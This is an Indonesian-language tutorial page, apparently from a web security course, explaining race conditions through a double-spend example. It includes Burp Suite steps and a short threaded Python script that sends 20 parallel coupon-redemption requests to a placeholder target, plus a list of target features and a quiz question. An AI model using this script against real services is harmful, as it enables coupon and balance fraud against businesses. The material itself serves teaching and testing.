Apa Itu Race Condition?
Race condition terjadi ketika dua atau lebih request diproses secara bersamaan dan menghasilkan state yang tidak konsisten — karena server tidak mengantisipasi konkurensi.
Contoh Klasik: Double-Spend
# Skenario: transfer saldo
# Saldo awal: Rp 100.000
# Request 1 & 2 dikirim bersamaan:
POST /transfer { amount: 100000, to: "A" }
POST /transfer { amount: 100000, to: "B" }
# Jika check saldo tidak di-lock:
Thread 1: cek saldo → 100000 (ok) → kurangi → 0
Thread 2: cek saldo → 100000 (ok) → kurangi → -100000
# Hasil: transfer 200000 dengan saldo 100000!
Testing Race Condition
Dengan Burp Suite Repeater
# 1. Capture request di Burp
# 2. Kirim ke Repeater (Ctrl+R), duplikat 10-20x
# 3. Pilih semua tab → Send group (parallel)
# 4. Analisis response — apakah ada inkonsistensi?
Dengan Python
import threading, requests
def send_request():
requests.post("https://target.com/redeem",
data={"code": "DISCOUNT50"},
cookies={"session": "abc123"})
threads = [threading.Thread(target=send_request) for _ in range(20)]
[t.start() for t in threads]
[t.join() for t in threads]
Target Race Condition
- Redeem coupon / promo code
- Transfer saldo / poin
- Like / vote sistem
- Rate limiting bypass
- Pembelian item limited
// CEK PEMAHAMAN
Race condition pada fitur redeem coupon paling sering menghasilkan dampak apa?
AXSS pada halaman coupon
BCoupon sekali pakai bisa digunakan berkali-kali secara bersamaan
CSQL injection melalui kode coupon
DServer crash akibat overload